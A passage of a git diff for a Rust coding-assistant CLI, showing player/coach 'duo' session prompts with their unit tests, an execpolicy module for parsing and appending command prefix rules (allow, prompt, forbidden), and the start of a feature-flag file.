Instructions\n\n"); + prompt.push_str( + "1. Review the current implementation against the requirements\n\ + 2. Create a COMPLIANCE CHECKLIST:\n\ + - [ ] or [x] for each requirement item\n\ + - Note any missing or incorrect implementations\n\ + 3. Calculate a COMPLIANCE SCORE (0.0 to 1.0)\n\ + 4. IGNORE any player self-assessment or claims of completion\n\ + 5. If score >= threshold AND all critical items pass:\n\ + - Output: COACH APPROVED\n\ + 6. Otherwise, provide specific feedback:\n\ + - What is missing\n\ + - What needs to be fixed\n\ + - Actionable next steps\n\n\ + Begin validation now.\n", + ); + + prompt +} + +/// Generate a summary of the session for system prompt injection. +#[must_use] +pub fn session_summary(session: &DuoSession) -> String { + let mut lines = Vec::new(); + + if let Some(ref state) = session.active_state { + lines.push(format!("Active Duo Session: {}", state.summary())); + } else { + lines.push("No active Duo session.".to_string()); + } + + if !session.saved_states.is_empty() { + lines.push(format!("Saved sessions: {}", session.saved_states.len())); + for (id, state) in &session.saved_states { + let name = state + .session_name + .as_deref() + .unwrap_or(&id[..8.min(id.len())]); + lines.push(format!(" - {}: {} ({})", name, state.status, state.phase)); + } + } + + lines.join("\n") +} + +// === Tests === + +#[cfg(test)] +mod tests { + use super::*; + + fn sample_requirements() -> String { + "## Requirements\n\ + - [ ] Create a function `add(a, b)` that returns the sum\n\ + - [ ] Add unit tests for the function\n\ + - [ ] Document the function with comments" + .to_string() + } + + #[test] + fn test_create_session() { + let state = DuoState::create( + sample_requirements(), + Some("test-session".to_string()), + None, + None, + ); + + assert_eq!(state.session_name, Some("test-session".to_string())); + assert_eq!(state.current_turn, 1); + assert_eq!(state.max_turns, 10); + assert_eq!(state.phase, DuoPhase::Init); + assert_eq!(state.status, DuoStatus::Active); + assert!(state.turn_history.is_empty()); + assert!(state.last_coach_feedback.is_none()); + assert_eq!(state.approval_threshold, 0.9); + } + + #[test] + fn test_advance_to_coach() { + let mut state = DuoState::create(sample_requirements(), None, None, None); + + assert!( + state + .advance_to_coach("Implemented add function".to_string()) + .is_ok() + ); + assert_eq!(state.phase, DuoPhase::Coach); + assert_eq!(state.turn_history.len(), 1); + assert_eq!(state.turn_history[0].phase, DuoPhase::Player); + } + + #[test] + fn test_advance_turn_approved() { + let mut state = DuoState::create(sample_requirements(), None, None, None); + state + .advance_to_coach("Implemented everything".to_string()) + .unwrap(); + + assert!( + state + .advance_turn( + "COACH APPROVED - All requirements met".to_string(), + true, + Some(0.95) + ) + .is_ok() + ); + + assert_eq!(state.phase, DuoPhase::Approved); + assert_eq!(state.status, DuoStatus::Approved); + assert!(state.is_complete()); + assert_eq!(state.quality_scores, vec![0.95]); + } + + #[test] + fn test_advance_turn_continue() { + let mut state = DuoState::create(sample_requirements(), None, None, None); + state + .advance_to_coach("Partial implementation".to_string()) + .unwrap(); + + assert!( + state + .advance_turn("Missing tests".to_string(), false, Some(0.5)) + .is_ok() + ); + + assert_eq!(state.phase, DuoPhase::Player); + assert_eq!(state.status, DuoStatus::Active); + assert_eq!(state.current_turn, 2); + assert!(!state.is_complete()); + assert_eq!(state.last_coach_feedback, Some("Missing tests".to_string())); + } + + #[test] + fn test_timeout() { + let mut state = DuoState::create(sample_requirements(), None, Some(2), None); + + // Turn 1 + state.advance_to_coach("Attempt 1".to_string()).unwrap(); + state + .advance_turn("Not good enough".to_string(), false, Some(0.3)) + .unwrap(); + + // Turn 2 (max) + state.advance_to_coach("Attempt 2".to_string()).unwrap(); + state + .advance_turn("Still not good enough".to_string(), false, Some(0.4)) + .unwrap(); + + assert_eq!(state.phase, DuoPhase::Timeout); + assert_eq!(state.status, DuoStatus::Timeout); + assert!(state.is_complete()); + } + + #[test] + fn test_invalid_phase_transition() { + let mut state = DuoState::create(sample_requirements(), None, None, None); + state.phase = DuoPhase::Approved; + + let result = state.advance_to_coach("Should fail".to_string()); + assert!(result.is_err()); + } + + #[test] + fn test_turns_remaining() { + let state = DuoState::create(sample_requirements(), None, Some(10), None); + assert_eq!(state.turns_remaining(), 9); + } + + #[test] + fn test_average_quality_score() { + let mut state = DuoState::create(sample_requirements(), None, None, None); + assert!(state.average_quality_score().is_none()); + + state.quality_scores = vec![0.5, 0.7, 0.9]; + let avg = state.average_quality_score().unwrap(); + assert!((avg - 0.7).abs() < 0.001); + } + + #[test] + fn test_session_container() { + let mut session = DuoSession::new(); + + // Start first session + session.start_session( + sample_requirements(), + Some("session-1".to_string()), + None, + None, + ); + assert!(session.get_active().is_some()); + + // Start second session (first gets saved) + session.start_session( + "Other requirements".to_string(), + Some("session-2".to_string()), + None, + None, + ); + assert_eq!(session.saved_states.len(), 1); + + // Get active + let active = session.get_active().unwrap(); + assert_eq!(active.session_name, Some("session-2".to_string())); + } + + #[test] + fn test_generate_player_prompt() { + let state = DuoState::create(sample_requirements(), None, None, None); + let prompt = generate_player_prompt(&state); + + assert!(prompt.contains("Player Phase")); + assert!(prompt.contains("Requirements (Source of Truth)")); + assert!(prompt.contains("Turn: 1/10")); + assert!(prompt.contains("DO NOT declare success")); + } + + #[test] + fn test_generate_coach_prompt() { + let state = DuoState::create(sample_requirements(), None, None, None); + let prompt = generate_coach_prompt(&state); + + assert!(prompt.contains("Coach Phase")); + assert!(prompt.contains("COMPLIANCE CHECKLIST")); + assert!(prompt.contains("COACH APPROVED")); + assert!(prompt.contains("IGNORE any player self-assessment")); + } + + #[test] + fn test_shared_session() { + let shared = new_shared_duo_session(); + + { + let mut session = shared.lock().unwrap(); + session.start_session(sample_requirements(), None, None, None); + } + + { + let session = shared.lock().unwrap(); + assert!(session.get_active().is_some()); + } + } + + #[test] + fn test_summary() { + let state = DuoState::create(sample_requirements(), Some("test".to_string()), None, None); + let summary = state.summary(); + + assert!(summary.contains("Duo Session: test")); + assert!(summary.contains("Phase: init")); + assert!(summary.contains("Turn: 1/10")); + } + + #[test] + fn test_session_summary() { + let mut session = DuoSession::new(); + session.start_session( + sample_requirements(), + Some("active-session".to_string()), + None, + None, + ); + + let summary = session_summary(&session); + assert!(summary.contains("Active Duo Session")); + assert!(summary.contains("active-session")); + } +} diff --git a/src/execpolicy/amend.rs b/src/execpolicy/amend.rs new file mode 100644 index 00000000..a4a02731 --- /dev/null +++ b/src/execpolicy/amend.rs @@ -0,0 +1,227 @@ +#![allow(dead_code)] + +use std::fs::OpenOptions; +use std::io::Read; +use std::io::Seek; +use std::io::SeekFrom; +use std::io::Write; +use std::path::Path; +use std::path::PathBuf; + +use serde_json; +use thiserror::Error; + +#[derive(Debug, Error)] +pub enum AmendError { + #[error("prefix rule requires at least one token")] + EmptyPrefix, + #[error("policy path has no parent: {path}")] + MissingParent { path: PathBuf }, + #[error("failed to create policy directory {dir}: {source}")] + CreatePolicyDir { + dir: PathBuf, + source: std::io::Error, + }, + #[error("failed to format prefix tokens: {source}")] + SerializePrefix { source: serde_json::Error }, + #[error("failed to open policy file {path}: {source}")] + OpenPolicyFile { + path: PathBuf, + source: std::io::Error, + }, + #[error("failed to write to policy file {path}: {source}")] + WritePolicyFile { + path: PathBuf, + source: std::io::Error, + }, + #[error("failed to lock policy file {path}: {source}")] + LockPolicyFile { + path: PathBuf, + source: std::io::Error, + }, + #[error("failed to seek policy file {path}: {source}")] + SeekPolicyFile { + path: PathBuf, + source: std::io::Error, + }, + #[error("failed to read policy file {path}: {source}")] + ReadPolicyFile { + path: PathBuf, + source: std::io::Error, + }, + #[error("failed to read metadata for policy file {path}: {source}")] + PolicyMetadata { + path: PathBuf, + source: std::io::Error, + }, +} + +/// Note this thread uses advisory file locking and performs blocking I/O, so it should be used with +/// [`tokio::task::spawn_blocking`] when called from an async context. +pub fn blocking_append_allow_prefix_rule( + policy_path: &Path, + prefix: &[String], +) -> Result<(), AmendError> { + if prefix.is_empty() { + return Err(AmendError::EmptyPrefix); + } + + let tokens = prefix + .iter() + .map(serde_json::to_string) + .collect::, _>>() + .map_err(|source| AmendError::SerializePrefix { source })?; + let pattern = format!("[{}]", tokens.join(", ")); + let rule = format!(r#"prefix_rule(pattern={pattern}, decision="allow")"#); + + let dir = policy_path + .parent() + .ok_or_else(|| AmendError::MissingParent { + path: policy_path.to_path_buf(), + })?; + match std::fs::create_dir(dir) { + Ok(()) => {} + Err(ref source) if source.kind() == std::io::ErrorKind::AlreadyExists => {} + Err(source) => { + return Err(AmendError::CreatePolicyDir { + dir: dir.to_path_buf(), + source, + }); + } + } + append_locked_line(policy_path, &rule) +} + +fn append_locked_line(policy_path: &Path, line: &str) -> Result<(), AmendError> { + let mut file = OpenOptions::new() + .create(true) + .read(true) + .append(true) + .open(policy_path) + .map_err(|source| AmendError::OpenPolicyFile { + path: policy_path.to_path_buf(), + source, + })?; + file.lock().map_err(|source| AmendError::LockPolicyFile { + path: policy_path.to_path_buf(), + source, + })?; + + let len = file + .metadata() + .map_err(|source| AmendError::PolicyMetadata { + path: policy_path.to_path_buf(), + source, + })? + .len(); + + // Ensure file ends in a newline before appending. + if len > 0 { + file.seek(SeekFrom::End(-1)) + .map_err(|source| AmendError::SeekPolicyFile { + path: policy_path.to_path_buf(), + source, + })?; + let mut last = [0; 1]; + file.read_exact(&mut last) + .map_err(|source| AmendError::ReadPolicyFile { + path: policy_path.to_path_buf(), + source, + })?; + + if last[0] != b'\n' { + file.write_all(b"\n") + .map_err(|source| AmendError::WritePolicyFile { + path: policy_path.to_path_buf(), + source, + })?; + } + } + + file.write_all(format!("{line}\n").as_bytes()) + .map_err(|source| AmendError::WritePolicyFile { + path: policy_path.to_path_buf(), + source, + })?; + + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use pretty_assertions::assert_eq; + use tempfile::tempdir; + + #[test] + fn appends_rule_and_creates_directories() { + let tmp = tempdir().expect("create temp dir"); + let policy_path = tmp.path().join("rules").join("default.rules"); + + blocking_append_allow_prefix_rule( + &policy_path, + &[String::from("echo"), String::from("Hello, world!")], + ) + .expect("append rule"); + + let contents = std::fs::read_to_string(&policy_path).expect("default.rules should exist"); + assert_eq!( + contents, + r#"prefix_rule(pattern=["echo", "Hello, world!"], decision="allow") +"# + ); + } + + #[test] + fn appends_rule_without_duplicate_newline() { + let tmp = tempdir().expect("create temp dir"); + let policy_path = tmp.path().join("rules").join("default.rules"); + std::fs::create_dir_all(policy_path.parent().unwrap()).expect("create policy dir"); + std::fs::write( + &policy_path, + r#"prefix_rule(pattern=["ls"], decision="allow") +"#, + ) + .expect("write seed rule"); + + blocking_append_allow_prefix_rule( + &policy_path, + &[String::from("echo"), String::from("Hello, world!")], + ) + .expect("append rule"); + + let contents = std::fs::read_to_string(&policy_path).expect("read policy"); + assert_eq!( + contents, + r#"prefix_rule(pattern=["ls"], decision="allow") +prefix_rule(pattern=["echo", "Hello, world!"], decision="allow") +"# + ); + } + + #[test] + fn inserts_newline_when_missing_before_append() { + let tmp = tempdir().expect("create temp dir"); + let policy_path = tmp.path().join("rules").join("default.rules"); + std::fs::create_dir_all(policy_path.parent().unwrap()).expect("create policy dir"); + std::fs::write( + &policy_path, + r#"prefix_rule(pattern=["ls"], decision="allow")"#, + ) + .expect("write seed rule without newline"); + + blocking_append_allow_prefix_rule( + &policy_path, + &[String::from("echo"), String::from("Hello, world!")], + ) + .expect("append rule"); + + let contents = std::fs::read_to_string(&policy_path).expect("read policy"); + assert_eq!( + contents, + r#"prefix_rule(pattern=["ls"], decision="allow") +prefix_rule(pattern=["echo", "Hello, world!"], decision="allow") +"# + ); + } +} diff --git a/src/execpolicy/decision.rs b/src/execpolicy/decision.rs new file mode 100644 index 00000000..9109d7d2 --- /dev/null +++ b/src/execpolicy/decision.rs @@ -0,0 +1,27 @@ +use serde::Deserialize; +use serde::Serialize; + +use super::error::Error; +use super::error::Result; + +#[derive(Clone, Copy, Debug, Eq, PartialEq, Ord, PartialOrd, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub enum Decision { + /// Command may run without further approval. + Allow, + /// Request explicit user approval; rejected outright when running with `approval_policy="never"`. + Prompt, + /// Command is blocked without further consideration. + Forbidden, +} + +impl Decision { + pub fn parse(raw: &str) -> Result { + match raw { + "allow" => Ok(Self::Allow), + "prompt" => Ok(Self::Prompt), + "forbidden" => Ok(Self::Forbidden), + other => Err(Error::InvalidDecision(other.to_string())), + } + } +} diff --git a/src/execpolicy/error.rs b/src/execpolicy/error.rs new file mode 100644 index 00000000..9664e71a --- /dev/null +++ b/src/execpolicy/error.rs @@ -0,0 +1,28 @@ +use starlark::Error as StarlarkError; +use thiserror::Error; + +pub type Result = std::result::Result; + +#[derive(Debug, Error)] +pub enum Error { + #[error("invalid decision: {0}")] + InvalidDecision(String), + #[error("invalid pattern element: {0}")] + InvalidPattern(String), + #[error("invalid example: {0}")] + InvalidExample(String), + #[error("invalid rule: {0}")] + InvalidRule(String), + #[error( + "expected every example to match at least one rule. rules: {rules:?}; unmatched examples: \ + {examples:?}" + )] + ExampleDidNotMatch { + rules: Vec, + examples: Vec, + }, + #[error("expected example to not match rule `{rule}`: {example}")] + ExampleDidMatch { rule: String, example: String }, + #[error("starlark error: {0}")] + Starlark(StarlarkError), +} diff --git a/src/execpolicy/execpolicycheck.rs b/src/execpolicy/execpolicycheck.rs new file mode 100644 index 00000000..0f2412f9 --- /dev/null +++ b/src/execpolicy/execpolicycheck.rs @@ -0,0 +1,83 @@ +use std::fs; +use std::path::PathBuf; + +use anyhow::Context; +use anyhow::Result; +use clap::Parser; +use serde::Serialize; + +use super::Decision; +use super::Policy; +use super::PolicyParser; +use super::RuleMatch; + +/// Arguments for evaluating a command against one or more execpolicy files. +#[derive(Debug, Parser, Clone)] +pub struct ExecPolicyCheckCommand { + /// Paths to execpolicy rule files to evaluate (repeatable). + #[arg(short = 'r', long = "rules", value_name = "PATH", required = true)] + pub rules: Vec, + + /// Pretty-print the JSON output. + #[arg(long)] + pub pretty: bool, + + /// Command tokens to check against the policy. + #[arg( + value_name = "COMMAND", + required = true, + trailing_var_arg = true, + allow_hyphen_values = true + )] + pub command: Vec, +} + +impl ExecPolicyCheckCommand { + /// Load the policies for this command, evaluate the command, and render JSON output. + pub fn run(&self) -> Result<()> { + let policy = load_policies(&self.rules)?; + let matched_rules = policy.matches_for_command(&self.command, None); + + let json = format_matches_json(&matched_rules, self.pretty)?; + println!("{json}"); + + Ok(()) + } +} + +pub fn format_matches_json(matched_rules: &[RuleMatch], pretty: bool) -> Result { + let output = ExecPolicyCheckOutput { + matched_rules, + decision: matched_rules.iter().map(RuleMatch::decision).max(), + }; + + if pretty { + serde_json::to_string_pretty(&output).map_err(Into::into) + } else { + serde_json::to_string(&output).map_err(Into::into) + } +} + +pub fn load_policies(policy_paths: &[PathBuf]) -> Result { + let mut parser = PolicyParser::new(); + + for policy_path in policy_paths { + let policy_file_contents = fs::read_to_string(policy_path) + .with_context(|| format!("failed to read policy at {}", policy_path.display()))?; + let policy_identifier = policy_path.to_string_lossy().to_string(); + parser + .parse(&policy_identifier, &policy_file_contents) + .with_context(|| format!("failed to parse policy at {}", policy_path.display()))?; + } + + Ok(parser.build()) +} + +#[derive(Serialize)] +#[serde(rename_all = "camelCase")] +struct ExecPolicyCheckOutput<'a> { + #[serde(rename = "matchedRules")] + matched_rules: &'a [RuleMatch], + #[serde(skip_serializing_if = "Option::is_none")] + decision: Option, +} diff --git a/src/execpolicy/mod.rs b/src/execpolicy/mod.rs new file mode 100644 index 00000000..a4b085ac --- /dev/null +++ b/src/execpolicy/mod.rs @@ -0,0 +1,22 @@ +#![allow(unused_imports)] + +pub mod amend; +pub mod decision; +pub mod error; +pub mod execpolicycheck; +pub mod parser; +pub mod policy; +pub mod rule; + +pub use amend::AmendError; +pub use amend::blocking_append_allow_prefix_rule; +pub use decision::Decision; +pub use error::Error; +pub use error::Result; +pub use execpolicycheck::ExecPolicyCheckCommand; +pub use parser::PolicyParser; +pub use policy::Evaluation; +pub use policy::Policy; +pub use rule::Rule; +pub use rule::RuleMatch; +pub use rule::RuleRef; diff --git a/src/execpolicy/parser.rs b/src/execpolicy/parser.rs new file mode 100644 index 00000000..01626ede --- /dev/null +++ b/src/execpolicy/parser.rs @@ -0,0 +1,269 @@ +use multimap::MultiMap; +use shlex; +use starlark::any::ProvidesStaticType; +use starlark::environment::GlobalsBuilder; +use starlark::environment::Module; +use starlark::eval::Evaluator; +use starlark::starlark_module; +use starlark::syntax::AstModule; +use starlark::syntax::Dialect; +use starlark::values::Value; +use starlark::values::list::ListRef; +use starlark::values::list::UnpackList; +use starlark::values::none::NoneType; +use std::cell::RefCell; +use std::cell::RefMut; +use std::sync::Arc; + +use super::decision::Decision; +use super::error::Error; +use super::error::Result; +use super::rule::PatternToken; +use super::rule::PrefixPattern; +use super::rule::PrefixRule; +use super::rule::RuleRef; +use super::rule::validate_match_examples; +use super::rule::validate_not_match_examples; + +pub struct PolicyParser { + builder: RefCell, +} + +impl Default for PolicyParser { + fn default() -> Self { + Self::new() + } +} + +impl PolicyParser { + pub fn new() -> Self { + Self { + builder: RefCell::new(PolicyBuilder::new()), + } + } + + /// Parses a policy, tagging parser errors with `policy_identifier` so failures include the + /// identifier alongside line numbers. + pub fn parse(&mut self, policy_identifier: &str, policy_file_contents: &str) -> Result<()> { + let mut dialect = Dialect::Extended.clone(); + dialect.enable_f_strings = true; + let ast = AstModule::parse( + policy_identifier, + policy_file_contents.to_string(), + &dialect, + ) + .map_err(Error::Starlark)?; + let globals = GlobalsBuilder::standard().with(policy_builtins).build(); + let module = Module::new(); + { + let mut eval = Evaluator::new(&module); + eval.extra = Some(&self.builder); + eval.eval_module(ast, &globals).map_err(Error::Starlark)?; + } + Ok(()) + } + + pub fn build(self) -> super::policy::Policy { + self.builder.into_inner().build() + } +} + +#[derive(Debug, ProvidesStaticType)] +struct PolicyBuilder { + rules_by_program: MultiMap, +} + +impl PolicyBuilder { + fn new() -> Self { + Self { + rules_by_program: MultiMap::new(), + } + } + + fn add_rule(&mut self, rule: RuleRef) { + self.rules_by_program + .insert(rule.program().to_string(), rule); + } + + fn build(self) -> super::policy::Policy { + super::policy::Policy::new(self.rules_by_program) + } +} + +fn parse_pattern<'v>(pattern: UnpackList>) -> Result> { + let tokens: Vec = pattern + .items + .into_iter() + .map(parse_pattern_token) + .collect::>()?; + if tokens.is_empty() { + Err(Error::InvalidPattern("pattern cannot be empty".to_string())) + } else { + Ok(tokens) + } +} + +fn parse_pattern_token<'v>(value: Value<'v>) -> Result { + if let Some(s) = value.unpack_str() { + Ok(PatternToken::Single(s.to_string())) + } else if let Some(list) = ListRef::from_value(value) { + let tokens: Vec = list + .content() + .iter() + .map(|value| { + value + .unpack_str() + .ok_or_else(|| { + Error::InvalidPattern(format!( + "pattern alternative must be a string (got {})", + value.get_type() + )) + }) + .map(str::to_string) + }) + .collect::>()?; + + match tokens.as_slice() { + [] => Err(Error::InvalidPattern( + "pattern alternatives cannot be empty".to_string(), + )), + [single] => Ok(PatternToken::Single(single.clone())), + _ => Ok(PatternToken::Alts(tokens)), + } + } else { + Err(Error::InvalidPattern(format!( + "pattern element must be a string or list of strings (got {})", + value.get_type() + ))) + } +} + +fn parse_examples<'v>(examples: UnpackList>) -> Result>> { + examples.items.into_iter().map(parse_example).collect() +} + +fn parse_example<'v>(value: Value<'v>) -> Result> { + if let Some(raw) = value.unpack_str() { + parse_string_example(raw) + } else if let Some(list) = ListRef::from_value(value) { + parse_list_example(list) + } else { + Err(Error::InvalidExample(format!( + "example must be a string or list of strings (got {})", + value.get_type() + ))) + } +} + +fn parse_string_example(raw: &str) -> Result> { + let tokens = shlex::split(raw).ok_or_else(|| { + Error::InvalidExample("example string has invalid shell syntax".to_string()) + })?; + + if tokens.is_empty() { + Err(Error::InvalidExample( + "example cannot be an empty string".to_string(), + )) + } else { + Ok(tokens) + } +} + +fn parse_list_example(list: &ListRef) -> Result> { + let tokens: Vec = list + .content() + .iter() + .map(|value| { + value + .unpack_str() + .ok_or_else(|| { + Error::InvalidExample(format!( + "example tokens must be strings (got {})", + value.get_type() + )) + }) + .map(str::to_string) + }) + .collect::>()?; + + if tokens.is_empty() { + Err(Error::InvalidExample( + "example cannot be an empty list".to_string(), + )) + } else { + Ok(tokens) + } +} + +fn policy_builder<'v, 'a>(eval: &Evaluator<'v, 'a, '_>) -> RefMut<'a, PolicyBuilder> { + #[expect(clippy::expect_used)] + eval.extra + .as_ref() + .expect("policy_builder requires Evaluator.extra to be populated") + .downcast_ref::>() + .expect("Evaluator.extra must contain a PolicyBuilder") + .borrow_mut() +} + +#[starlark_module] +fn policy_builtins(builder: &mut GlobalsBuilder) { + fn prefix_rule<'v>( + pattern: UnpackList>, + decision: Option<&'v str>, + r#match: Option>>, + not_match: Option>>, + justification: Option<&'v str>, + eval: &mut Evaluator<'v, '_, '_>, + ) -> anyhow::Result { + let decision = match decision { + Some(raw) => Decision::parse(raw)?, + None => Decision::Allow, + }; + + let justification = match justification { + Some(raw) if raw.trim().is_empty() => { + return Err(Error::InvalidRule("justification cannot be empty".to_string()).into()); + } + Some(raw) => Some(raw.to_string()), + None => None, + }; + + let pattern_tokens = parse_pattern(pattern)?; + + let matches: Vec> = + r#match.map(parse_examples).transpose()?.unwrap_or_default(); + let not_matches: Vec> = not_match + .map(parse_examples) + .transpose()? + .unwrap_or_default(); + + let mut builder = policy_builder(eval); + + let (first_token, remaining_tokens) = pattern_tokens + .split_first() + .ok_or_else(|| Error::InvalidPattern("pattern cannot be empty".to_string()))?; + + let rest: Arc<[PatternToken]> = remaining_tokens.to_vec().into(); + + let rules: Vec = first_token + .alternatives() + .iter() + .map(|head| { + Arc::new(PrefixRule { + pattern: PrefixPattern { + first: Arc::from(head.as_str()), + rest: rest.clone(), + }, + decision, + justification: justification.clone(), + }) as RuleRef + }) + .collect(); + + validate_not_match_examples(&rules, ¬_matches)?; + validate_match_examples(&rules, &matches)?; + + rules.into_iter().for_each(|rule| builder.add_rule(rule)); + Ok(NoneType) + } +} diff --git a/src/execpolicy/policy.rs b/src/execpolicy/policy.rs new file mode 100644 index 00000000..0d4f272e --- /dev/null +++ b/src/execpolicy/policy.rs @@ -0,0 +1,147 @@ +#![allow(dead_code)] + +use super::decision::Decision; +use super::error::Error; +use super::error::Result; +use super::rule::PatternToken; +use super::rule::PrefixPattern; +use super::rule::PrefixRule; +use super::rule::RuleMatch; +use super::rule::RuleRef; +use multimap::MultiMap; +use serde::Deserialize; +use serde::Serialize; +use std::sync::Arc; + +type HeuristicsFallback<'a> = Option<&'a dyn Fn(&[String]) -> Decision>; + +#[derive(Clone, Debug)] +pub struct Policy { + rules_by_program: MultiMap, +} + +impl Policy { + pub fn new(rules_by_program: MultiMap) -> Self { + Self { rules_by_program } + } + + pub fn empty() -> Self { + Self::new(MultiMap::new()) + } + + pub fn rules(&self) -> &MultiMap { + &self.rules_by_program + } + + pub fn add_prefix_rule(&mut self, prefix: &[String], decision: Decision) -> Result<()> { + let (first_token, rest) = prefix + .split_first() + .ok_or_else(|| Error::InvalidPattern("prefix cannot be empty".to_string()))?; + + let rule: RuleRef = Arc::new(PrefixRule { + pattern: PrefixPattern { + first: Arc::from(first_token.as_str()), + rest: rest + .iter() + .map(|token| PatternToken::Single(token.clone())) + .collect::>() + .into(), + }, + decision, + justification: None, + }); + + self.rules_by_program.insert(first_token.clone(), rule); + Ok(()) + } + + pub fn check(&self, cmd: &[String], heuristics_fallback: &F) -> Evaluation + where + F: Fn(&[String]) -> Decision, + { + let matched_rules = self.matches_for_command(cmd, Some(heuristics_fallback)); + Evaluation::from_matches(matched_rules) + } + + /// Checks multiple commands and aggregates the results. + pub fn check_multiple( + &self, + commands: Commands, + heuristics_fallback: &F, + ) -> Evaluation + where + Commands: IntoIterator, + Commands::Item: AsRef<[String]>, + F: Fn(&[String]) -> Decision, + { + let matched_rules: Vec = commands + .into_iter() + .flat_map(|command| { + self.matches_for_command(command.as_ref(), Some(heuristics_fallback)) + }) + .collect(); + + Evaluation::from_matches(matched_rules) + } + + /// Returns matching rules for the given command. If no rules match and + /// `heuristics_fallback` is provided, returns a single + /// `HeuristicsRuleMatch` with the decision rendered by + /// `heuristics_fallback`. + /// + /// If `heuristics_fallback.is_some()`, then the returned vector is + /// guaranteed to be non-empty. + pub fn matches_for_command( + &self, + cmd: &[String], + heuristics_fallback: HeuristicsFallback<'_>, + ) -> Vec { + let matched_rules: Vec = match cmd.first() { + Some(first) => self + .rules_by_program + .get_vec(first) + .map(|rules| rules.iter().filter_map(|rule| rule.matches(cmd)).collect()) + .unwrap_or_default(), + None => Vec::new(), + }; + + if matched_rules.is_empty() + && let Some(heuristics_fallback) = heuristics_fallback + { + vec![RuleMatch::HeuristicsRuleMatch { + command: cmd.to_vec(), + decision: heuristics_fallback(cmd), + }] + } else { + matched_rules + } + } +} + +#[derive(Clone, Debug, Eq, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct Evaluation { + pub decision: Decision, + #[serde(rename = "matchedRules")] + pub matched_rules: Vec, +} + +impl Evaluation { + pub fn is_match(&self) -> bool { + self.matched_rules + .iter() + .any(|rule_match| !matches!(rule_match, RuleMatch::HeuristicsRuleMatch { .. })) + } + + /// Caller is responsible for ensuring that `matched_rules` is non-empty. + fn from_matches(matched_rules: Vec) -> Self { + let decision = matched_rules.iter().map(RuleMatch::decision).max(); + #[expect(clippy::expect_used)] + let decision = decision.expect("invariant failed: matched_rules must be non-empty"); + + Self { + decision, + matched_rules, + } + } +} diff --git a/src/execpolicy/rule.rs b/src/execpolicy/rule.rs new file mode 100644 index 00000000..9613f06d --- /dev/null +++ b/src/execpolicy/rule.rs @@ -0,0 +1,160 @@ +use super::decision::Decision; +use super::error::Error; +use super::error::Result; +use serde::Deserialize; +use serde::Serialize; +use shlex::try_join; +use std::any::Any; +use std::fmt::Debug; +use std::sync::Arc; + +/// Matches a single command token, either a fixed string or one of several allowed alternatives. +#[derive(Clone, Debug, Eq, PartialEq)] +pub enum PatternToken { + Single(String), + Alts(Vec), +} + +impl PatternToken { + fn matches(&self, token: &str) -> bool { + match self { + Self::Single(expected) => expected == token, + Self::Alts(alternatives) => alternatives.iter().any(|alt| alt == token), + } + } + + pub fn alternatives(&self) -> &[String] { + match self { + Self::Single(expected) => std::slice::from_ref(expected), + Self::Alts(alternatives) => alternatives, + } + } +} + +/// Prefix matcher for commands with support for alternative match tokens. +/// First token is fixed since we key by the first token in policy. +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct PrefixPattern { + pub first: Arc, + pub rest: Arc<[PatternToken]>, +} + +impl PrefixPattern { + pub fn matches_prefix(&self, cmd: &[String]) -> Option> { + let pattern_length = self.rest.len() + 1; + if cmd.len() < pattern_length || cmd[0] != self.first.as_ref() { + return None; + } + + for (pattern_token, cmd_token) in self.rest.iter().zip(&cmd[1..pattern_length]) { + if !pattern_token.matches(cmd_token) { + return None; + } + } + + Some(cmd[..pattern_length].to_vec()) + } +} + +#[derive(Clone, Debug, Eq, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub enum RuleMatch { + PrefixRuleMatch { + #[serde(rename = "matchedPrefix")] + matched_prefix: Vec, + decision: Decision, + /// Optional rationale for why this rule exists. + /// + /// This can be supplied for any decision and may be surfaced in different contexts + /// (e.g., prompt reasons or rejection messages). + #[serde(skip_serializing_if = "Option::is_none")] + justification: Option, + }, + HeuristicsRuleMatch { + command: Vec, + decision: Decision, + }, +} + +impl RuleMatch { + pub fn decision(&self) -> Decision { + match self { + Self::PrefixRuleMatch { decision, .. } => *decision, + Self::HeuristicsRuleMatch { decision, .. } => *decision, + } + } +} + +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct PrefixRule { + pub pattern: PrefixPattern, + pub decision: Decision, + pub justification: Option, +} + +pub trait Rule: Any + Debug + Send + Sync { + fn program(&self) -> &str; + + fn matches(&self, cmd: &[String]) -> Option; +} + +pub type RuleRef = Arc; + +impl Rule for PrefixRule { + fn program(&self) -> &str { + self.pattern.first.as_ref() + } + + fn matches(&self, cmd: &[String]) -> Option { + self.pattern + .matches_prefix(cmd) + .map(|matched_prefix| RuleMatch::PrefixRuleMatch { + matched_prefix, + decision: self.decision, + justification: self.justification.clone(), + }) + } +} + +/// Count how many rules match each provided example and error if any example is unmatched. +pub(crate) fn validate_match_examples(rules: &[RuleRef], matches: &[Vec]) -> Result<()> { + let mut unmatched_examples = Vec::new(); + + for example in matches { + if rules.iter().any(|rule| rule.matches(example).is_some()) { + continue; + } + + unmatched_examples.push( + try_join(example.iter().map(String::as_str)) + .unwrap_or_else(|_| "unable to render example".to_string()), + ); + } + + if unmatched_examples.is_empty() { + Ok(()) + } else { + Err(Error::ExampleDidNotMatch { + rules: rules.iter().map(|rule| format!("{rule:?}")).collect(), + examples: unmatched_examples, + }) + } +} + +/// Ensure that no rule matches any provided negative example. +pub(crate) fn validate_not_match_examples( + rules: &[RuleRef], + not_matches: &[Vec], +) -> Result<()> { + for example in not_matches { + if let Some(rule) = rules.iter().find(|rule| rule.matches(example).is_some()) { + return Err(Error::ExampleDidMatch { + rule: format!("{rule:?}"), + example: try_join(example.iter().map(String::as_str)) + .unwrap_or_else(|_| "unable to render example".to_string()), + }); + } + } + + Ok(()) +} diff --git a/src/features.rs b/src/features.rs new file mode 100644 index 00000000..b5173e08 --- /dev/null +++ b/src/features.rs @@ -0,0 +1,192 @@ +//! Feature flags and metadata for deepseek-cli. + +#![allow(dead_code)] + +use serde::{Deserialize, Serialize}; +use std::collections::{BTreeMap, BTreeSet}; + +/// Lifecycle stage for a feature flag. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Stage { + Experimental, + Beta, + Stable, + Deprecated, + Removed, +} + +/// Unique features toggled via configuration. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub enum Feature { + /// Enable the default shell tool. + 